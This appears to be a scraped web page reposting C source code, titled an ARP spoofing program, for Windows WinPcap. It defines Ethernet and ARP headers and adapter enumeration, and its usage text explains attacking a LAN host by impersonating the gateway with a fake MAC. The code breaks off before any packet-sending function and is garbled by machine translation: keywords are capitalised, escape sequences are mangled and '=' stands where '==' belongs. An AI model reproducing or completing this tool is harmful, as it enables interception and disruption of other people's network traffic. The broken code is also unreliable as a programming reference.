Source code of ARP spoofing Program

Source: Internet
Author: User
# Include <winsock2.h>
# Include <stdio. h>
# Include <iphlpapi. h>
# Include "packet32.h"

# Pragma comment (Lib, "packet. lib ")
# Pragma comment (Lib, "ws2_32.lib ")
# Pragma comment (Lib, "iphlpapi. lib ")

Typedef struct tagadapterinfo
{
Char szdevicename [128]; // name
Char szipaddrstr [16]; // ip
Char szhwaddrstr [18]; // Mac
DWORD dwindex; // number
Bool filled; // whether Nic information is obtained
} Info_adapter, * pinfo_adapter;

Info_adapter infoadapterlist [10];

Typedef struct _ et_header // Ethernet header
{
Unsigned char eh_dst [6]; // MAC address of the receiver
Unsigned char eh_src [6]; // the sender's Mac
Unsigned short eh_type; // ARP packet type 0x0806
} Et_header;

# Pragma pack (1)
Typedef struct _ arp_header // ARP Header
{
Unsigned short arp_hdr; // hardware address type, Ethernet, 0x0001
Unsigned short arp_pro; // upper-Layer Protocol address type IP protocol 0x0800
Unsigned char arp_hln; // the MAC address length is 0x06.
Unsigned char arp_pln; // ip geological length: 0x04
Unsigned short arp_opt; // operation code 0x0001 request 0x0002 response
Unsigned char arp_sha [6]; // the sender's Mac
Unsigned long arp_spa; // the sender's IP address
Unsigned char arp_tha [6]; // receiver Mac
Unsigned long arp_tpa; // receiver IP Address
} Arp_header;
# Pragma pack ()

Int getlocaladapterlist ()
{
Char tempchar;
Ulong ulistsize = 1;
Pip_adapter_info padapter; // defines the pip_adapter_info structure to store network card information.
Int nadapterindex = 0;

// Obtain the length of the NIC list information string
DWORD dwret = getadaptersinfo (pip_adapter_info) & tempchar, & ulistsize );
Printf ("/R/ntry to get adapter list.../R/N ");
If (dwret = error_buffer_overflow)
{
Pip_adapter_info padapterlistbuffer = (pip_adapter_info) New (char [ulistsize]);
Dwret = getadaptersinfo (padapterlistbuffer, & ulistsize );
If (dwret = error_success)
{
Padapter = padapterlistbuffer;
// Enumerate the NIC and add related entries to the list
While (padapter)
{
// Nic name
Char strtemp [128];
Lstrcpy (strtemp, "// device // NPF _");
Lstrcat (strtemp, padapter-> adaptername); // prefix
Lstrcpy (infoadapterlist [nadapterindex]. szdevicename, strtemp );
// Ip
Lstrcpy (infoadapterlist [nadapterindex]. szipaddrstr, padapter-> ipaddresslist. IPaddress. String );
// Mac
Sprintf (infoadapterlist [nadapterindex]. szhwaddrstr, "% 02x % 02x % 02x % 02x % 02x % 02x ",
Padapter-> Address [0], padapter-> Address [1], padapter-> Address [2],
Padapter-> Address [3], padapter-> Address [4], padapter-> Address [5]);
// Nic ID
Infoadapterlist [nadapterindex]. dwindex = padapter-> index;
Padapter = padapter-> next;
Nadapterindex ++;
}
Delete padapterlistbuffer;
}

Return nadapterindex;
}
Return 0;
}

Void strtomac (char * STR, unsigned char * Mac)
{
Char * str1;
Int I;
Int low, high;
Char temp;
For (I = 0; I <6; I ++)
{
Str1 = STR + 1;
Switch (* Str)
{
Case 'A': High = 10; break;
Case 'B': High = 11; break;
Case 'C': High = 12; break;
Case 'D': High = 13; break;
Case 'E': High = 14; break;
Case 'F': High = 15; break;
Default: temp = * STR;
High = atoi (& temp );
}
Switch (* str1)
{
Case 'A': Low = 10; break;
Case 'B': Low = 11; break;
Case 'C': Low = 12; break;
Case 'D': Low = 13; break;
Case 'E': Low = 14; break;
Case 'F': Low = 15; break;
Default: temp = * str1;
Low = atoi (& temp );
}
Mac [I] = high * 16 + low;
STR + = 2;
}
}

Int about ()
{
Printf ("Usage: MAC address/R/N ");
Printf ("/n suppose I want to attack 192.168.0.2, then first obtain the gateway IP Address: 192.168.0.1 ");
Printf ("/N and then arpattack 192.168.0.2 192.168.0.1 222222222222 (fake mac address )");
Printf ("/n Author: htaozf QQ: 397097144/N ");

Return 1;
}
Int getremotemac (unsigned char * remotemac, char * remoteip) // obtain the real MAC address of an IP address and Output

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.